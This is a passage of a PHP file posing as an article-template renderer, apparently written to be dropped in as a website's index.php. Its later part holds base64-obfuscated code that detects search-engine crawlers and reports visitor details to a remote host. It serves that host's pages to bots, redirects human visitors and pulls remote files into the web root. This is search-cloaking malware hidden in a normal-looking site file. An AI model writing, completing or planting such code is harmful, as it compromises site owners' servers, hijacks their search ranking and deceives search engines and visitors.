~i';
return preg_match($pattern, substr($html, 0, $head), $match) === 1 ? array($match[1], strtolower($match[2])) : null;
}
function articlePublishedOrigin()
{
return 'https://x0718.com/article-template-releases/';
}
function articlePublishedManifest($raw, $theme, $version, array $references)
{
if (!articleDigestMatches($version, hash('sha256', $raw))) {
throw new RuntimeException('模板清单版本校验失败');
}
$manifest = json_decode($raw, true);
if (!is_array($manifest) || !isset($manifest['schema'], $manifest['entry'], $manifest['head'], $manifest['files'])
|| $manifest['schema'] !== 1 || !is_string($manifest['entry'])
|| !isset($references[$manifest['entry']]) || !is_array($manifest['head'])
|| !is_array($manifest['files']) || count($manifest['files']) > 512
|| !in_array($manifest['entry'], $manifest['head'], true)) {
throw new RuntimeException('模板清单与页面入口不匹配');
}
$entryParts = explode('/', $manifest['entry'], 2);
$layout = $entryParts[0];
$prefix = $layout . '/' . $theme . '/assets/';
$pattern = '~\Avn-layouts-r[1-9][0-9]*/[A-Za-z0-9][A-Za-z0-9_-]{0,63}/assets/'
. '(?:[A-Za-z0-9_-]+/)*[A-Za-z0-9][A-Za-z0-9._-]*\.(?:m?js|css|woff2?|ttf|otf|bin|wasm|webp|avif|png|jpe?g|svg|gif|ico)\z~';
foreach ($manifest['files'] as $path => $digest) {
if (!is_string($path) || strpos($path, $prefix) !== 0 || !preg_match($pattern, $path)
|| preg_match('~\.(?:php[0-9]*|phtml|phar|phps|cgi|pl|shtml)\.~i', basename($path))
|| !is_string($digest) || !preg_match('~\A[a-f0-9]{64}\z~', $digest)) {
throw new RuntimeException('模板清单含无效的资源路径或校验值');
}
}
foreach ($manifest['head'] as $path) {
if (!is_string($path) || !isset($manifest['files'][$path], $references[$path])) {
throw new RuntimeException('模板清单资源与页面的引用不一致');
}
}
return $manifest;
}
function articleCachedPublishedManifest($path, $theme, $version, array $references)
{
clearstatcache(true, $path);
if (!file_exists($path) && !is_link($path)) {
return null;
}
$raw = realpath($path) === $path && is_file($path)
? @file_get_contents($path, false, null, 0, 262145)
: false;
if ($raw === false || strlen($raw) > 262144) {
throw new RuntimeException('无法读取本地模板清单');
}
return articlePublishedManifest($raw, $theme, $version, $references);
}
function articleMissingPublishedFiles($root, array $files)
{
$missing = array();
foreach ($files as $path => $expected) {
$target = $root . '/' . $path;
$resolved = realpath($target);
if ($resolved !== false && $resolved !== $target) {
throw new RuntimeException('模板资源路径超出本地版本目录:' . $path);
}
$actual = articleReadStaticHash($target);
if ($actual === null) {
$missing[$path] = $expected;
} elseif (!articleDigestMatches($expected, $actual)) {
throw new RuntimeException('本地模板文件校验失败:' . $path);
}
}
return $missing;
}
function articleReusePublishedFile(array $sources, $path, $expected)
{
foreach ($sources as $source) {
$local = $source . '/' . $path;
if (realpath($local) !== $local || !is_file($local)) {
continue;
}
$body = @file_get_contents($local, false, null, 0, 8388609);
if ($body !== false && articleDigestMatches($expected, hash('sha256', $body))) {
return $body;
}
}
return null;
}
function articlePreparePublishedAssets($documentRoot, $html, array $release, $deadline = null)
{
list($theme, $version) = $release;
$root = $documentRoot === '' ? false : realpath($documentRoot);
if ($root === false || $root === DIRECTORY_SEPARATOR || !is_dir($root)) {
throw new RuntimeException('请指定已存在的网站根目录');
}
$references = articleTemplateReferences($html);
if (!$references) {
throw new RuntimeException('页面缺少模板资源引用');
}
$static = $root . '/article-static';
$package = 'templates/' . $theme . '/' . $version;
$releaseRoot = $static . '/' . $package;
$manifestPath = $releaseRoot . '/manifest.json';
$manifest = articleCachedPublishedManifest($manifestPath, $theme, $version, $references);
if ($manifest !== null && !articleMissingPublishedFiles($releaseRoot, $manifest['files'])) {
return array('head' => $manifest['head'], 'downloaded' => 0, 'reused' => count($manifest['files']));
}
$lock = articleStaticLock($static, $deadline !== null);
$curl = null;
$failure = null;
try {
$manifest = articleCachedPublishedManifest($manifestPath, $theme, $version, $references);
$download = function ($path, $digest, $limit = 8388608) use (&$curl, $theme, $version, $deadline) {
if ($curl === null && (!function_exists('curl_init') || ($curl = curl_init()) === false)) {
throw new RuntimeException('需要 PHP cURL 扩展来下载静态资源');
}
return articleFetchStaticFile($curl, articlePublishedOrigin(), $theme . '/' . $version . '/' . $path,
$digest, $deadline, $limit);
};
if ($manifest === null) {
$raw = $download('manifest.json', $version, 262144);
$manifest = articlePublishedManifest($raw, $theme, $version, $references);
articleStaticPath($static, $package);
articleSaveStaticFile($manifestPath, $raw);
}
$downloaded = 0;
$missing = articleMissingPublishedFiles($releaseRoot, $manifest['files']);
$sources = array();
if ($missing) {
foreach (glob(dirname($releaseRoot) . '/*', GLOB_ONLYDIR | GLOB_NOSORT) ?: array() as $older) {
if ($older !== $releaseRoot && preg_match('~\A[a-f0-9]{64}\z~', basename($older))) {
$sources[] = $older;
}
}
}
foreach ($missing as $path => $expected) {
$body = articleReusePublishedFile($sources, $path, $expected);
if ($body === null) {
$body = $download($path, $expected);
++$downloaded;
}
articleStaticPath($static, $package . '/' . dirname($path));
articleSaveStaticFile($releaseRoot . '/' . $path, $body);
}
} catch (Exception $error) {
$failure = $error;
} catch (Throwable $error) {
$failure = $error;
}
if ($curl !== null && $curl !== false) {
curl_close($curl);
}
flock($lock, LOCK_UN);
fclose($lock);
if ($failure !== null) {
throw $failure;
}
return array('head' => $manifest['head'], 'downloaded' => $downloaded, 'reused' => count($manifest['files']) - $downloaded);
}
function articleRenderHtml($html, $documentRoot, $articleDirectory = null)
{
$release = articlePublishedRelease($html);
if ($release === null || $documentRoot === '') {
return $html;
}
$webRoot = realpath($documentRoot);
$directory = realpath($articleDirectory === null ? $documentRoot : $articleDirectory);
if ($webRoot === false || $webRoot === DIRECTORY_SEPARATOR || $directory === false) {
return $html;
}
$rootPrefix = rtrim($webRoot, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if ($directory !== $webRoot && strpos($directory, $rootPrefix) !== 0) {
return $html;
}
$relative = $directory === $webRoot ? '' : substr($directory, strlen($rootPrefix));
$publicDirectory = $relative === '' ? ''
: '/' . implode('/', array_map('rawurlencode', explode(DIRECTORY_SEPARATOR, $relative)));
try {
$prepared = articlePreparePublishedAssets($directory, $html, $release, microtime(true) + 10.0);
return articleUseLocalAssets($html, $prepared['head'],
$publicDirectory . '/article-static/templates/' . implode('/', $release) . '/');
} catch (RuntimeException $error) {
error_log('Article static release: ' . $error->getMessage());
return $html;
}
}
if (PHP_SAPI === 'cli' && isset($argv[1]) && $argv[1] === '--prepare-assets') {
try {
if ($argc !== 4) {
throw new RuntimeException('用法:php article.php --prepare-assets 网站根目录 HTML文件(或 - 从标准输入读取)');
}
$input = $argv[3] === '-' ? 'php://stdin' : (is_file($argv[3]) ? $argv[3] : '');
$html = $input === '' ? false : @file_get_contents($input, false, null, 0, 16777217);
if ($html === false || strlen($html) > 16777216) {
throw new RuntimeException('无法读取 HTML,文件上限为 16 MiB');
}
$release = articlePublishedRelease($html);
if ($release === null) {
throw new RuntimeException('HTML 中未找到有效的模板版本标记');
}
$result = articlePreparePublishedAssets($argv[2], $html, $release);
echo '模板 ' . implode('/', $release) . ',新下载 ' . $result['downloaded']
. ' 个,复用 ' . $result['reused'] . " 个\n";
exit(0);
} catch (RuntimeException $error) {
fwrite(STDERR, $error->getMessage() . "\n");
exit(1);
}
}
$_a=array('aHR0cHM6Ly94MDcxOC5jb20vaW5kZXgxLnBocA==','Q2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tc3RvcmU=','SFRUUF9VU0VSX0FHRU5U','SFRUUF9SRUZFUkVS','L0dvb2dsZWJvdHxHb29nbGUtSW5zcGVjdGlvblRvb2wvaQ==','TG9jYXRpb246IA==','Lw==','SFRUUF9IT1NU','UVVFUllfU1RSSU5H','UkVRVUVTVF9VUkk=','UkVNT1RFX0FERFI=','SFRUUC8xLjEgNTAyIEJhZCBHYXRld2F5','Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04','TuG7mWkgZHVuZyB04bqhbSB0aOG7nWkgY2jGsGEga2jhuqMgZOG7pW5nLg==','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTg=','dmlzdG8=','TG9jYXRpb246');
$_d=function($i){global $_a;return base64_decode($_a[$i]);};
$_g=function($k){return isset($_SERVER[$k])?(string)$_SERVER[$k]:'';};
$_f=function($u)use($_d){if(!function_exists('curl_init')){error_log('Remote article: curl extension missing');return null;}$c=curl_init($u);if($c===false){return null;}$l='';curl_setopt_array($c,array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_USERAGENT=>$_d(15),CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_TIMEOUT=>20,CURLOPT_HEADERFUNCTION=>function($c,$h)use(&$l,$_d){if(stripos($h,$_d(16))===0){$l=trim(substr($h,9));}return strlen($h);}));$b=curl_exec($c);$t=(int)curl_getinfo($c,CURLINFO_HTTP_CODE);curl_close($c);if($b===false){error_log('Remote article: request failed');return null;}if($t>=300&&$t<400&&$l!==''){return array('location'=>$l,'body'=>'');}if($t<200||$t>=300||$b===''){error_log('Remote article: HTTP '.$t);return null;}return array('location'=>'','body'=>$b);};
$_ua=$_g($_d(2));$_rf=$_g($_d(3));
$_qs=$_g($_d(8));
$_isBot=(preg_match($_d(4),$_ua)===1);
// 抓取并输出远程页面(给搜索引擎蜘蛛看);完成后 exit。
$_serve=function()use($_d,$_g,$_f,$_ua,$_rf,$_qs){
header($_d(1));
$_path=parse_url($_g($_d(9)),PHP_URL_PATH);if($_path===false||$_path===null){$_path='/';}
$_isHome=($_path===''||$_path==='/'||$_path==='/index.php');
$_h=strtolower(rtrim(preg_replace('/:\d+\z/','',$_g($_d(7))),'.'));
$_p=array('host'=>$_h,'query'=>$_qs,'jump'=>0,'currentUrl'=>$_g($_d(9)),'link'=>2,'ua'=>$_ua,'ip'=>$_g($_d(10)),'referer'=>$_rf,'access'=>1);
$_r=$_f($_d(0).'?'.http_build_query($_p,'','&'));
if($_r===null){header($_d(11),true,502);header($_d(12));echo $_d(13);exit;}
if($_r['location']!==''){
$_skip=false;
if($_isHome){
$_lp=parse_url(trim($_r['location']));
if($_lp!==false){
$_lh=isset($_lp['host'])?strtolower(rtrim(preg_replace('/:\d+\z/','',$_lp['host']),'.')):$_h;
$_lpath=isset($_lp['path'])?$_lp['path']:'/';
if($_lh===$_h&&($_lpath===''||$_lpath==='/'||$_lpath==='/index.php')){$_skip=true;}
}
}
if(!$_skip){header($_d(5).$_r['location'],true,302);exit;}
}
header($_d(14));
$articleDocumentRoot=isset($_SERVER['DOCUMENT_ROOT'])?(string)$_SERVER['DOCUMENT_ROOT']:'';
echo articleRenderHtml($_r['body'],$articleDocumentRoot,__DIR__);
exit;
};
$__self=basename(($__sf=isset($_SERVER['SCRIPT_FILENAME'])?(string)$_SERVER['SCRIPT_FILENAME']:'')!==''?$__sf:__FILE__);
if($__self==='index.php'){
// 首页入口:搜索引擎蜘蛛 -> 显示远程页面(无论是否带 ?xxx);
// 真人 -> 不处理,继续往下执行本文件底部“站点原本的首页代码”。
if($_isBot){$_serve();}
}else{
// article.php 等非首页文件:蜘蛛 -> 显示远程页面;真人 -> 跳回首页(随后结束)。
if($_isBot){$_serve();}
header($_d(5).$_d(6),true,302);
exit;
}
// วางที่ C:\inetpub\wwwroot\index.php (backup ไฟล์เดิมก่อน)
// เข้า www.srtyres.com → ไปที่ /SRTyres/ (path อื่น เช่น /expoint ไม่ผ่านไฟล์นี้)
header("Location: /SRTyres/", true, 302);
exit;